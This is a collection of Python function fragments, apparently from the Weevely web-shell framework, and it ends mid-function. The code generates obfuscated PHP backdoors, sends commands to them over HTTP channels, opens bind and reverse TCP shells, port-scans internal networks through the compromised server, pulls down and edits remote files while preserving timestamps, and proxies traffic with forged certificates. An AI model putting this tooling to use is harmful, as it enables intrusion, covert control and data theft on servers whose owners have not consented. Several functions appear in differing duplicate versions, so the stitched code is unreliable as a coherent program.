def setup(self): """Instauration of the PHP channel. Returns the module status.""" # Try a single channel if is manually set, else # probe every the supported channel from config if self.session.get('channel'): channels = [ self.session['channel'] ] else: channels = config.channels for channel_name in channels: channel = Channel( channel_name = channel_name, session = self.session ) status = self._check_interpreter(channel) if status == Status.RUN: self.session['channel'] = channel_name self.channel = channel break log.debug( 'PHP setup %s %s' % ( 'running' if status == Status.RUN else 'failed', 'with %s channel' % (channel_name) if status == Status.RUN else '' ) ) return status
def run(self): """ Run module """ # This is an unusual slack setup at every execution # to check and eventually instance the proper channel if self.session['shell_php'].get('status') != Status.RUN: self.setup() cwd = self._get_stored_result('cwd', module='file_cd', default='.') chdir = '' if cwd == '.' else "chdir('%s');" % cwd bypass = Php.max_time_bypass if 'max_time_bypass' in self.session and self.session['max_time_bypass'] else '' # Compose command with cwd, pre_command, and post_command option. self.args.update({ 'chdir': chdir, 'bypass': bypass }) command = Template( """${chdir}${bypass}${prefix}${ ' '.join(command) }${suffix}""", strict_undefined=True ).render(**self.args) log.debug('PAYLOAD %s' % command) # Send command response, code, error = self.channel.send(command) if self.args.get('raw_response'): return response else: return response.decode('utf-8', 'replace')
def setup(self, args={}): """Instauration of the PHP channel. Returns the module status.""" self._instantiate_channel() rand = str(random.randint(11111, 99999)) command = 'echo(%s);' % rand response, code = self.channel.send(command) if rand == response: status = Status.RUN self.session['channel'] = self.channel.channel_name else: status = Status.FAIL # If the response is wrong, warn about the # error code self._print_response_status(command, code, response) log.debug( 'PHP shell is %s' % ( 'running' if status == Status.RUN else 'failed' ) ) return status
def send(self, payload): response = b'' code = 200 error = '' human_error = '' try: response = self.channel_loaded.send( payload, self._additional_handlers() ) except socks.ProxyError as e: if e.socket_err and e.socket_err.errno: code = e.socket_err.errno if e.msg: error = str(e.msg) human_error = messages.module_shell_php.error_proxy except HTTPError as e: if e.code: code = e.code if e.reason: error = str(e.reason) if code == 404: human_error = messages.module_shell_php.error_404_remote_backdoor elif code == 500: human_error = messages.module_shell_php.error_500_executing elif code != 200: human_error = messages.module_shell_php.error_i_executing % code except URLError as e: code = 0 if e.reason: error = str(e.reason) human_error = messages.module_shell_php.error_URLError_network if response: dlog.info('RESPONSE: %s' % repr(response)) else: response = b'' command_last_chars = utils.prettify.shorten( payload.rstrip(), keep_trailer = 10 ) if ( command_last_chars and command_last_chars[-1] not in ( ';', '}' ) ): log.warning(messages.module_shell_php.missing_php_trailer_s % command_last_chars) if error or human_error: log.debug('[ERR] %s [%s]' % (error, code)) log.warning(human_error) return response, code, error
def run_alias(self, args, cmd): """Execute the module to replace a missing terminal command. This runs the module if the direct shell command can't be run due to the shell_sh failing. It is called when some alias defined in `Module.alias` list is executed from the command line. Normally does not need to be overridden. Args: args (str): string containing the module arguments. Return: Object. The result of the module execution. """ if self.session['default_shell'] != 'shell_sh': log.debug(messages.module.running_the_alias_s % self.name) return self.run_cmdline(args) else: modules.loaded['shell_sh'].run_cmdline( '%s -- %s' % (cmd, args) )
def connect_intercept(self): hostname = self.path.split(':')[0] certname = "%s.crt" % (hostname) certpath = os.path.join(self.certdir, certname) if not (re_valid_ip.match(hostname) or re_valid_hostname.match(hostname)): log.warn("CN name '%s' is not valid, using 'www.weevely.com'" % (hostname)) hostname = 'www.weevely.com' with self.lock: if not os.path.isfile(certpath): epoch = "%d" % (time.time() * 1000) p1 = Popen(["openssl", "req", "-new", "-key", self.certkey, "-subj", "/CN=%s" % hostname], stdout=PIPE) p2 = Popen(["openssl", "x509", "-req", "-days", "3650", "-CA", self.cacert, "-CAkey", self.cakey, "-set_serial", epoch, "-out", certpath], stdin=p1.stdout, stderr=PIPE) p2.communicate() self.wfile.write("%s %d %s\r\n" % (self.protocol_version, 200, 'Connection Established')) self.end_headers() try: self.connection = ssl.wrap_socket(self.connection, keyfile=self.certkey, certfile=certpath, server_side=True) self.rfile = self.connection.makefile("rb", self.rbufsize) self.wfile = self.connection.makefile("wb", self.wbufsize) except Exception as e: log.debug(e) raise conntype = self.headers.get('Proxy-Connection', '') if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close': self.close_connection = 0 else: self.close_connection = 1
def _print_response_status(self, command, code, response): """ Debug print and warning in case of missing response and HTTP errors """ # log.debug( # utilities.shorten_string( # command, # keep_header = 40, # keep_trailer = 40 # ) # ) log.debug('PAYLOAD %s' % command) dlog.info('== RESPONSE ==\n%s==== END ====' % response) if response: return if code == 404: log.warn(messages.module_shell_php.error_404_remote_backdoor) elif code == 500: log.warn(messages.module_shell_php.error_500_executing) elif code == -1: log.warn(messages.module_shell_php.error_URLError_network) elif code != 200: log.warn(messages.module_shell_php.error_i_executing % code) command_last_chars = utilities.shorten_string(command.rstrip(), keep_trailer = 10) if (command_last_chars and command_last_chars[-1] not in ( ';', '}' )): log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars)
def log_message(self, format, *args): log.debug( "%s - - [%s] %s\n" % (self.client_address[0], self.log_date_time_string(), format % self.args) )
def run(self): """ Run module """ # This is an unusual slack setup at every execution # to check and eventually instance the proper channel self.setup() cwd = self._get_stored_result('cwd', module = 'file_cd', default = '.') chdir = '' if cwd == '.' else "chdir('%s');" % cwd # Compose command with cwd, pre_command, and post_command option. self.args.update({ 'chdir' : chdir }) command = Template("""${chdir}${prefix_string}${ ' '.join(command) }${postfix_string}""").render(**self.args) # Minify PHP payload. # # In case of error, modify session minify variable and # return original code. if self.session['shell_php']['stored_args'].get('minify', True): minified = utils.code.minify_php(command) self.session['shell_php'][ 'stored_args'][ 'minify'] = bool(minified) command = minified if minified else command log.debug('PAYLOAD %s' % command) # Send command response, code = self.channel.send(command) # If the response is empty, warn about the error code self._print_response_status(command, code, response) # Strip last newline if present return response
def main(arguments): if arguments.command == 'generate': obfuscated = generate.generate(password=arguments.password, obfuscator=arguments.obfuscator, agent=arguments.agent) generate.save_generated(obfuscated, arguments.path) log.info( messages.generate.generated_backdoor_with_password_s_in_s_size_i % (arguments.password, arguments.path, len(obfuscated))) return elif arguments.command == 'terminal': session = SessionURL(url=arguments.url, password=arguments.password) elif arguments.command == 'session': session = SessionFile(arguments.path) log.debug(pprint.pformat(session)) modules.load_modules(session) if not arguments.cmd: Terminal(session).cmdloop() else: Terminal(session).onecmd(arguments.cmd)
def run_alias(self, args, cmd): if self.session["default_shell"] != "shell_sh": log.debug(messages.module.running_the_alias_s % self.name) return self.run_cmdline("-info %s" % cmd) else: modules.loaded["shell_sh"].run_cmdline("%s -- %s" % (cmd, args))
def run_alias(self, args, cmd): """Execute the module to replace a missing terminal command. This runs the module if the direct shell command can't be run due to the shell_sh failing. It is called when some alias defined in `Module.alias` list is executed from the command line. Normally does not need to be overridden. Args: args (str): string containing the module arguments. Return: Object. The result of the module execution. """ if self.session['default_shell'] != 'shell_sh': log.debug(messages.module.running_the_alias_s % self.name) return self.run_cmdline(args) else: return modules.loaded['shell_sh'].run_cmdline( '%s -- %s' % (cmd, args) )
def _print_response_status(self, command, code, response): """ Debug print and warning in case of missing response and HTTP errors """ # log.debug( # utilities.shorten_string( # command, # keep_header = 40, # keep_trailer = 40 # ) # ) log.debug('PAYLOAD %s' % command) dlog.info('== RESPONSE ==\n%s==== END ====' % response) if response: return if code == 404: log.warn(messages.module_shell_php.error_404_remote_backdoor) elif code == 500: log.warn(messages.module_shell_php.error_500_executing) elif code == -1: log.warn(messages.module_shell_php.error_URLError_network) elif code != 200: log.warn(messages.module_shell_php.error_i_executing % code) command_last_chars = utilities.shorten_string(command.rstrip(), keep_trailer=10) if (command_last_chars and command_last_chars[-1] not in (';', '}')): log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars)
def setup(self): """Instauration of the PHP channel. Returns the module status.""" # Try a single channel if is manually set, else # probe every the supported channel from config if self.session.get('channel'): channels = [self.session['channel']] else: channels = config.channels for channel_name in channels: channel = Channel( channel_name=channel_name, session=self.session ) status = self._check_interpreter(channel) if status == Status.RUN: self.session['channel'] = channel_name self.channel = channel break log.debug( 'PHP setup %s %s' % ( 'running' if status == Status.RUN else 'failed', 'with %s channel' % (channel_name) if status == Status.RUN else '' ) ) return status
def run(self, format_args = {}): """Run the module with the formatted payload. Render the contained payload with mako and pass the result as argument to the given module. The result is processed by the `self.postprocess` method. Args: format_arg (dict): The dictionary to format the payload with. Return: Object. Contains the postprocessed result of the `run_argv` module execution. """ try: formatted = self.format(format_args) except TypeError as e: import traceback; log.debug(traceback.format_exc()) raise DevException(messages.vectors.wrong_arguments_type) # The background argument is set at vector init in order # to threadify vectors also if called by VectorList methods. if self.background: thread.start_new_thread(modules.loaded[self.module].run_argv, (formatted, )) result = None else: result = modules.loaded[self.module].run_argv(formatted) if self.postprocess: result = self.postprocess(result) return result
def setup(self): """Instauration of the PHP channel. Returns the module status.""" # Return if already set. This check has to be done due to # the slack initialization in run() if self.channel: return # Try a single channel if is manually set, else # probe every the supported channel from config if self.session.get('channel'): channels = [self.session['channel']] else: channels = config.channels for channel_name in channels: channel = Channel(url=self.session['url'], password=self.session['password'], channel_name=channel_name) status = self._check_interpreter(channel) if status == Status.RUN: self.session['channel'] = channel_name self.channel = channel break log.debug('PHP setup %s %s' % ('running' if status == Status.RUN else 'failed', 'with %s channel' % (channel_name) if status == Status.RUN else '')) return status
def run(self): """ Run module """ # This is an unusual slack setup at every execution # to check and eventually instance the proper channel if self.session['shell_php'].get('status') != Status.RUN: self.setup() cwd = self._get_stored_result('cwd', module = 'file_cd', default = '.') chdir = '' if cwd == '.' else "chdir('%s');" % cwd # Compose command with cwd, pre_command, and post_command option. self.args.update({ 'chdir' : chdir }) command = Template("""${chdir}${prefix_string}${ ' '.join(command) }${postfix_string}""").render(**self.args) # Minify PHP payload. # # In case of error, modify session minify variable and # return original code. if self.session['shell_php']['stored_args'].get('minify', True): minified = utils.code.minify_php(command) self.session['shell_php'][ 'stored_args'][ 'minify'] = bool(minified) command = minified if minified else command log.debug('PAYLOAD %s' % command) # Send command response, code, error = self.channel.send(command) # Strip last newline if present return response
def send(self, payload): response = '' code = 200 error = '' human_error = '' try: response = self.channel_loaded.send( payload, self._additional_handlers() ) except socks.ProxyError as e: if e.socket_err and e.socket_err.errno: code = e.socket_err.errno if e.msg: error = str(e.msg) human_error = messages.module_shell_php.error_proxy except HTTPError as e: if e.code: code = e.code if e.reason: error = str(e.reason) if code == 404: human_error = messages.module_shell_php.error_404_remote_backdoor elif code == 500: human_error = messages.module_shell_php.error_500_executing elif code != 200: human_error = messages.module_shell_php.error_i_executing % code except URLError as e: code = 0 if e.reason: error = str(e.reason) human_error = messages.module_shell_php.error_URLError_network if response: dlog.info('RESPONSE: %s' % repr(response)) else: command_last_chars = utils.prettify.shorten( payload.rstrip(), keep_trailer = 10 ) if ( command_last_chars and command_last_chars[-1] not in ( ';', '}' ) ): log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars) if error or human_error: log.debug('[ERR] %s [%s]' % (error, code)) log.warn(human_error) return response, code, error
def run(self): ## Address handling # Explode every single IP or network starting from # format IP1,IP2-IP3,IP/MASK,.. IPs = [] for ip_or_network in self.args["addresses"].split(","): if ip_or_network.count("-") == 1: # If there is a dash, explode IPs += list(utils.iputil.ip_range(ip_or_network)) elif ip_or_network.count("/") == 1: # If there is a /, too IPs += [str(utils.ipaddr.IPAddress(ip)) for ip in utils.ipaddr.IPNetwork(ip_or_network)] else: IPs.append(ip_or_network) ## Port handling prts = utils.iputil.port_range(self.args["ports"]) results_string = "" for ips_chunk in list(utils.strings.chunks(IPs, self.args["addresses_per_request"])): for prts_chunk in list(utils.strings.chunks(prts, self.args["ports_per_request"])): results_string += self.vectors.get_result( name="fsockopen", format_args={"ips": ips_chunk, "prts": prts_chunk, "timeout": self.args["timeout"]}, ) log.warn( "Scanning addresses %s-%s:%i-%i" % (ips_chunk[0], ips_chunk[-1], prts_chunk[0], prts_chunk[-1]) ) # Crappy output handling result = [] for result_string in results_string.split("\n"): addr_string_splitted = result_string.split(" ") if addr_string_splitted[0] == "OPN": address = addr_string_splitted[1] error = "OPEN" elif addr_string_splitted[0] == "ERR": address = addr_string_splitted[1] error = "%s (%s)" % (" ".join(addr_string_splitted[2:-1]), addr_string_splitted[-1]) else: log.debug(messages.module_net_scan.unexpected_response) continue if self.args.get("print"): result.append((address, error)) elif error == "OPEN": result.append(address) return result
def run_alias(self, args, cmd): if self.session['default_shell'] != 'shell_sh': log.debug(messages.module.running_the_alias_s % self.name) return self.run_cmdline('-info %s' % cmd) else: modules.loaded['shell_sh'].run_cmdline( '%s -- %s' % (cmd, args) )
def run(self): # Get a temporary file name suffix = re.sub('[\W]+', '_', self.args['rpath']) temp_file = tempfile.NamedTemporaryFile(suffix=suffix) lpath = temp_file.name # Keep track of the old timestamp if requested if self.args['keep_ts']: timestamp = ModuleExec('file_check', [self.args.get('rpath'), 'time']).run() # If remote file already exists and readable if ModuleExec('file_check', [self.args.get('rpath'), 'readable']).run(): # Download file result_download = ModuleExec( 'file_download', [self.args.get('rpath'), lpath]).run() # Exit with no result # The error should already been printed by file_download exec if result_download == None: return # Store original md5 md5_orig = hashlib.md5(open(lpath, 'rb', encoding='utf-8').read()).hexdigest() # Run editor subprocess.check_call([self.args['editor'], lpath]) # With no changes, just return if md5_orig == hashlib.md5( open(lpath, 'rb', encoding='utf-8').read()).hexdigest(): log.debug(messages.module_file_edit.unmodified_file) temp_file.close() return else: subprocess.check_call([self.args['editor'], lpath]) # Upload file result_upload = ModuleExec( 'file_upload', ['-force', lpath, self.args.get('rpath')]).run() # Reset original timestamp if requested if self.args['keep_ts']: ModuleExec('file_touch', [self.args.get('rpath'), '-epoch-ts', str(timestamp)]).run() # Delete temp file temp_file.close() return result_upload
def run_argv(self, argv): """Execute the module. Get arguments list as argument. The arguments are parsed with getopt, and validated. Then calls setup() and run() of module. Normally does not need to be overridden. Args: argv (list of str): The list of arguments. Returns: Object. The result of the module execution. """ # Merge stored arguments with line arguments stored_args = self.session[self.name]['stored_args'].copy() self.args = stored_args.copy() try: user_args = self.argparser.parse_args(argv) except SystemExit: raise ArgparseError() self.args.update( dict( (key, value) for key, value in user_args.__dict__.items() if value != None ) ) # If module status is IDLE, launch setup() if self.session[self.name]['status'] == Status.IDLE: self.session[self.name]['status'] = self.setup() # If setup still not set the status to RUN, return if self.session[self.name]['status'] != Status.RUN: return # If module status is FAIL, return if self.session[self.name]['status'] == Status.FAIL: log.debug(messages.module.module_s_inactive % self.name) return # Setup() could has been stored additional args, so all the updated # stored arguments are applied to args self.args.update( dict( (key, value) for key, value in self.session[self.name]['stored_args'].items() if value != stored_args.get(key) ) ) return self.run()
def run(self): # Run all the vectors for vector in self.vectors: # Skip vector if -vector is specified but does not match if self.args.get('vector') and self.args.get('vector') != vector.name: continue # Background run does not return results vector.run(self.args) # If set, skip autoconnect if self.args.get('no_autoconnect'): continue # Give some time to spawn the shell time.sleep(1) urlparsed = urlparse.urlparse(self.session['url']) if not urlparsed.hostname: log.debug( messages.module_backdoor_tcp.error_parsing_connect_s % self.args['port'] ) continue try: telnetlib.Telnet(urlparsed.hostname, self.args['port'], timeout = 5).interact() # If telnetlib does not rise an exception, we can assume that # ended correctly and return from `run()` return except Exception as e: log.debug( messages.module_backdoor_tcp.error_connecting_to_s_s_s % ( urlparsed.hostname, self.args['port'], e ) ) # If autoconnect was expected but Telnet() calls worked, # prints error message if not self.args.get('no_autoconnect'): log.warn( messages.module_backdoor_tcp.error_connecting_to_s_s_s % ( urlparsed.hostname, self.args['port'], 'remote port not open or unreachable' ) )
def run_argv(self, argv): """Execute the module. Get arguments list as argument. The arguments are parsed with getopt, and validated. Then calls setup() and run() of module. Normally does not need to be overridden. Args: argv (list of str): The list of arguments. Returns: Object. The result of the module execution. """ # Merge stored arguments with line arguments stored_args = self.session[self.name]['stored_args'].copy() args = stored_args.copy() try: user_args = self.argparser.parse_args(argv) except SystemExit: return args.update( dict( (key, value) for key, value in user_args.__dict__.items() if value != None ) ) # If module status is IDLE, launch setup() if self.session[self.name]['status'] == Status.IDLE: self.session[self.name]['status'] = self.setup(args) # If module status is FAIL, return if self.session[self.name]['status'] == Status.FAIL: log.debug(messages.module.module_s_inactive % self.name) return # Setup() could has been stored additional args, so all the updated # stored arguments are applied to args args.update( dict( (key, value) for key, value in self.session[self.name]['stored_args'].items() if value != stored_args.get(key) ) ) return self.run(args)
def connect_intercept(self): hostname = self.path.split(':')[0] certname = "%s.crt" % (hostname) certpath = os.path.join(self.certdir, certname) if not (re_valid_ip.match(hostname) or re_valid_hostname.match(hostname)): log.warn("CN name '%s' is not valid, using 'www.weevely.com'" % (hostname)) hostname = 'www.weevely.com' with self.lock: if not os.path.isfile(certpath): epoch = "%d" % (time.time() * 1000) p1 = Popen([ "openssl", "req", "-new", "-key", self.certkey, "-subj", "/CN=%s" % hostname ], stdout=PIPE) p2 = Popen([ "openssl", "x509", "-req", "-days", "3650", "-CA", self.cacert, "-CAkey", self.cakey, "-set_serial", epoch, "-out", certpath ], stdin=p1.stdout, stderr=PIPE) p2.communicate() self.wfile.write( "%s %d %s\r\n" % (self.protocol_version, 200, 'Connection Established')) self.end_headers() try: self.connection = ssl.wrap_socket(self.connection, keyfile=self.certkey, certfile=certpath, server_side=True) self.rfile = self.connection.makefile("rb", self.rbufsize) self.wfile = self.connection.makefile("wb", self.wbufsize) except Exception as e: log.debug(e) raise conntype = self.headers.get('Proxy-Connection', '') if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close': self.close_connection = 0 else: self.close_connection = 1
def run_cmdline(self, line, cmd = ''): """Execute the module from command line. Get command line string as argument. Called from terminal. Normally does not need to be overridden. Args: line (str): the module arguments. cmd (str): the executed command Return: Object. The result of the module execution. """ # Split the command line try: command = shlex.split(line) except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) return # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit, # and other exceptions try: result = self.run_argv(command) except (KeyboardInterrupt, EOFError): log.info(messages.module.module_s_exec_terminated % self.name) return except ArgparseError: return except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.module.error_module_exec_error_s % str(e)) return self.print_result( result[:-1] if ( isinstance(result, basestring) and result.endswith('\n') ) else result ) # Data is returned for the testing of _cmdline calls return result
def run_cmdline(self, line, cmd=''): """Execute the module from command line. Get command line string as argument. Called from terminal. Normally does not need to be overridden. Args: line (str): the module arguments. cmd (str): the executed command Return: Object. The result of the module execution. """ # Split the command line try: command = shlex.split(line) except Exception as e: import traceback log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) return # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit, # and other exceptions try: result = self.run_argv(command) except (KeyboardInterrupt, EOFError): log.info(messages.module.module_s_exec_terminated % self.name) return except ArgparseError: return except Exception as e: import traceback log.debug(traceback.format_exc()) log.warn(messages.module.error_module_exec_error_s % str(e)) return self.print_result(result[:-1] if ( isinstance(result, basestring) and result.endswith('\n') ) else result) # Data is returned for the testing of _cmdline calls return result
def do_set(self, line, cmd): """Command "set" to set session variables.""" try: args = shlex.split(line) except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) # Set the setting else: if len(args) < 2: log.warn(messages.terminal.set_usage) elif len(args) >= 2: args[1] = ' '.join(args[1:]) self.session.set(args[0], args[1])
def do_alias(self, line, cmd): """Handles :alias functions""" try: args = shlex.split(line) except Exception as e: import traceback log.debug(traceback.format_exc()) log.warning(messages.generic.error_parsing_command_s % str(e)) else: argc = len(args) if argc == 0: self.user_aliases.print_to_user() elif argc == 1: self.user_aliases.print_to_user(args[0]) elif argc >= 2: self.user_aliases.set(args[0], ' '.join(args[1:])) else: log.warning(':alias usage')
def do_set(self, line, cmd): """Command "set" to set session variables.""" try: args = shlex.split(line) except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) return # Print all settings that startswith args[0] if len(args) < 2: self.session.print_to_user(args[0] if args else '') # Set the setting else: if len(args) > 2: args[1] = ' '.join(args[1:]) self.session.set(args[0], args[1])
def run(self): # Check remote file existance if not ModuleExec('file_check', [self.args.get('rpath'), 'readable']).run(): log.warning(messages.module_file_download.failed_download_file) return # Get the remote file MD5. If this is not available, still do a basic check # to see if the output is decodable as base64 string. expected_md5 = ModuleExec('file_check', [self.args.get('rpath'), 'md5']).run() if expected_md5: check_md5 = lambda r: r != None and hashlib.md5(base64.b64decode( r)).hexdigest() == expected_md5 else: log.debug(messages.module_file_download.skipping_md5_check) check_md5 = lambda r: r != None and bool(base64.b64decode(r)) # Find the first vector that satisfy the md5 check vector_name, result = self.vectors.find_first_result( format_args=self.args, condition=check_md5) # Check if find_first_result failed if not vector_name: log.warning(messages.module_file_download.failed_download_file) return # Dump to local file lpath = self.args.get('lpath') try: result_decoded = base64.b64decode(result) with open(lpath, 'wb') as resultfile: resultfile.write(result_decoded) except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return return result_decoded
def run(self, args): # Run all the vectors for vector in self.vectors: # Skip vector if -vector is specified but does not match if args.get('vector') and args.get('vector') != vector.name: continue # Background run does not return results vector.run(args) # If set, skip autoconnect if args.get('no_autoconnect'): continue # Run tcp server for the vector try: tcpserver = TcpServer(args['port']) except socket.timeout as e: log.debug(messages.module_backdoor_reversetcp.error_timeout) continue
def run(self): # Run all the vectors for vector in self.vectors: # Skip vector if -vector is specified but does not match if self.args.get('vector') and self.args.get('vector') != vector.name: continue # Background run does not return results vector.run(self.args) # If set, skip autoconnect if self.args.get('no_autoconnect'): continue # Run tcp server for the vector try: tcpserver = TcpServer(self.args['port']) except socket.timeout as e: log.debug(messages.module_backdoor_reversetcp.error_timeout) continue
def do_set(self, line, cmd): """Command "set" to set session variables.""" try: args = shlex.split(line) except Exception as e: import traceback log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) return # Print all settings that startswith args[0] if len(args) < 2: self.session.print_to_user(args[0] if args else '') # Set the setting else: if len(args) > 2: args[1] = ' '.join(args[1:]) self.session.set(args[0], args[1])
def _get_ifconfig_result(self, ifconfig_path): result = ShellCmd(ifconfig_path, target=Os.NIX).run() if not result: log.debug( messages.module_net_ifconfig.error_no_s_execution_result % ifconfig_path) return {} ifaces = re.findall('^(\S+).*?inet addr:(\S+).*?Mask:(\S+)', result, re.S | re.M) if not ifaces: log.debug( messages.module_net_ifconfig.error_parsing_s_execution_result % ifconfig_path) return {} networks = {} for iface in ifaces: try: networks[iface[0]] = IPNetwork('%s/%s' % (iface[1], iface[2])) except Exception as e: log.debug(messages.module_net_ifconfig. error_interpeting_s_execution_result_s % (ifconfig_path, str(e))) pass return networks
def _get_ifconfig_result(self, ifconfig_path): result = ShellCmd( ifconfig_path, target = Os.NIX ).run() if not result: log.debug(messages.module_net_ifconfig.error_no_s_execution_result % ifconfig_path) return {} ifaces = re.findall('^(\S+).*?inet addr:(\S+).*?Mask:(\S+)', result, re.S | re.M) if not ifaces: log.debug(messages.module_net_ifconfig.error_parsing_s_execution_result % ifconfig_path) return {} networks = {} for iface in ifaces: try: networks[iface[0]] = IPNetwork('%s/%s' % (iface[1], iface[2])) except Exception as e: log.debug(messages.module_net_ifconfig.error_interpeting_s_execution_result_s % (ifconfig_path, str(e))) pass return networks
def main(arguments): if arguments.command == 'generate': obfuscated = generate.generate( password = arguments.password, obfuscator = arguments.obfuscator, agent = arguments.agent ) generate.save_generated(obfuscated, arguments.path) log.info( messages.generate.generated_backdoor_with_password_s_in_s_size_i % (arguments.password, arguments.path, len(obfuscated)) ) return elif arguments.command == 'terminal': session = SessionURL( url = arguments.url, password = arguments.password ) elif arguments.command == 'session': session = SessionFile(arguments.path) log.debug( pprint.pformat(session) ) modules.load_modules(session) if not arguments.cmd: Terminal(session).cmdloop() else: Terminal(session).onecmd(arguments.cmd)
def setup(self): """Instauration of the PHP channel. Returns the module status.""" # Return if already set. This check has to be done due to # the slack initialization in run() if self.channel: return # Try a single channel if is manually set, else # probe every the supported channel from config if self.session.get('channel'): channels = [ self.session['channel'] ] else: channels = config.channels for channel_name in channels: channel = Channel( url = self.session['url'], password = self.session['password'], channel_name = channel_name ) status = self._check_interpreter(channel) if status == Status.RUN: self.session['channel'] = channel_name self.channel = channel break log.debug( 'PHP setup %s %s' % ( 'running' if status == Status.RUN else 'failed', 'with %s channel' % (channel_name) if status == Status.RUN else '' ) ) return status
def run(self): # Check remote file existance if not ModuleExec('file_check', [ self.args.get('rpath'), 'readable' ]).run(): log.warn(messages.module_file_download.failed_download_file) return # Get the remote file MD5. If this is not available, still do a basic check # to see if the output is decodable as base64 string. expected_md5 = ModuleExec('file_check', [ self.args.get('rpath'), 'md5' ]).run() if expected_md5: check_md5 = lambda r: hashlib.md5(base64.b64decode(r)).hexdigest() == expected_md5 else: log.debug(messages.module_file_download.skipping_md5_check) check_md5 = lambda r: bool(base64.b64decode(r)) # Find the first vector that satisfy the md5 check vector_name, result = self.vectors.find_first_result( format_args = self.args, condition = check_md5 ) # Check if find_first_result failed if not vector_name: log.warn(messages.module_file_download.failed_download_file) return # Dump to local file lpath = self.args.get('lpath') try: result_decoded = base64.b64decode(result) open(lpath, 'wb').write(result_decoded) except Exception, e: log.warning( messages.generic.error_loading_file_s_s % (lpath, str(e))) return
def run(self, format_args={}): """Run the module with the formatted payload. Render the contained payload with mako and pass the result as argument to the given module. The result is processed by the `self.postprocess` method. Args: format_arg (dict): The dictionary to format the payload with. Return: Object. Contains the postprocessed result of the `run_argv` module execution. """ try: formatted = self.format(format_args) except TypeError as e: import traceback log.debug(traceback.format_exc()) raise DevException(messages.vectors.wrong_arguments_type) # The background argument is set at vector init in order # to threadify vectors also if called by VectorList methods. if self.background: _thread.start_new_thread(modules.loaded[self.module].run_argv, (formatted, )) result = None else: result = modules.loaded[self.module].run_argv(formatted) if self.postprocess: result = self.postprocess(result) return result
def setup(self, args={}): """Instauration of the PHP channel. Returns the module status.""" self._instantiate_channel() rand = str(random.randint(11111, 99999)) command = 'echo(%s);' % rand response, code = self.channel.send(command) if rand == response: status = Status.RUN self.session['channel'] = self.channel.channel_name else: status = Status.FAIL # If the response is wrong, warn about the # error code self._print_response_status(command, code, response) log.debug('PHP shell is %s' % ('running' if status == Status.RUN else 'failed')) return status
def run(self, args): """ Run module """ self._instantiate_channel() cwd = self._get_stored_result('cwd', module = 'file_cd', default = '.') chdir = '' if cwd == '.' else "chdir('%s');" % cwd # Compose command with cwd, pre_command, and post_command option. args.update({ 'chdir' : chdir }) command = Template("""${chdir}${prefix_string}${ ' '.join(command) }${postfix_string}""").render(**args) log.debug('PAYLOAD %s' % command) # Send command response, code = self.channel.send(command) # If the response is empty, warn about the error code self._print_response_status(command, code, response) # Strip last newline if present return response[:-1] if ( response and response.endswith('\n') ) else response
def do_GET(self): if self.path == 'http://weevely/': self.send_cacert() return req = self content_length = int(req.headers.get('Content-Length', 0)) req_body = self.rfile.read(content_length) if content_length else '' if req.path[0] == '/': if isinstance(self.connection, ssl.SSLSocket): req.path = "https://%s%s" % (req.headers['Host'], req.path) else: req.path = "http://%s%s" % (req.headers['Host'], req.path) req.headers['Content-length'] = str(len(req_body)) u = urllib.parse.urlsplit(req.path) scheme, netloc, path = u.scheme, u.netloc, (u.path + '?' + u.query if u.query else u.path) assert scheme in ('http', 'https') if netloc: req.headers['Host'] = netloc setattr(req, 'headers', self.filter_headers(req.headers)) net_curl_args = ['-X', self.command, '-i'] net_curl_args.append(self.path) for h in req.headers: if h.title().lower() == 'host': host = self.headers[h] else: net_curl_args += [ '-H', '%s: %s' % (h.title(), self.headers[h]) ] if self.command == 'POST': content_len = int(self.headers.get('content-length', 0)) net_curl_args += ['-d', req_body] lock.acquire() try: result, headers, saved = ModuleExec('net_curl', net_curl_args).run() finally: lock.release() if not headers: log.debug('Error no headers') self.send_error(502) return log.debug('> ' + '\r\n> '.join( ['%s: %s' % (h.title(), self.headers[h]) for h in self.headers])) log.debug( '< ' + '\r\n< '.join([h.decode('utf-8', 'replace') for h in headers])) http_response_str = b'\r\n'.join(headers) + b'\r\n\r\n' + result source = FakeSocket(http_response_str) res = HTTPResponse(source) res.begin() version_table = {10: 'HTTP/1.0', 11: 'HTTP/1.1'} setattr(res, 'headers', res.msg) setattr(res, 'response_version', version_table[res.version]) # support streaming if not 'Content-Length' in res.headers and 'no-store' in res.headers.get( 'Cache-Control', ''): setattr(res, 'headers', self.filter_headers(res.headers)) self.relay_streaming(res) return try: res_body = res.read() except Exception as e: log.debug(e) self.send_error(500) return setattr(res, 'headers', self.filter_headers(res.headers)) respstring = "%s %d %s\r\n" % (self.protocol_version, res.status, res.reason) self.wfile.write(respstring.encode('utf-8')) self.wfile.write(res.headers.as_bytes()) self.wfile.write(res_body) self.wfile.flush()
def find_first_result(self, names=[], format_args={}, condition=None, store_result=False, store_name=''): """ Execute all the vectors and return the first result matching the given condition. Return the name and the result of the first vector execution response that satisfy the given condition. With unspecified names, execute all the vectors. Optionally store results. Exceptions triggered checking condition function are catched and logged. Args: names (list of str): The list of names of vectors to execute. format_args (dict): The arguments dictionary used to format the vectors with. condition (function): The function or lambda to check certain conditions on result. Must returns boolean. store_result (bool): Store as result. store_name (str): Store the found vector name in the specified argument. Returns: Tuple. Contains the vector name and execution result in the `( vector_name, result )` form. """ if not callable(condition): raise DevException(messages.vectors.wrong_condition_type) if not isinstance(store_name, str): raise DevException(messages.vectors.wrong_store_name_type) for vector in self: # Skip with wrong vectors if not self._os_match(vector.target): continue # Clean names filter from empty objects names = [n for n in names if n] # Skip if names filter is passed but current vector is missing if names and not any(n in vector.name for n in names): continue # Add current vector name format_args['current_vector'] = vector.name # Run result = vector.run(format_args) # See if condition is verified try: 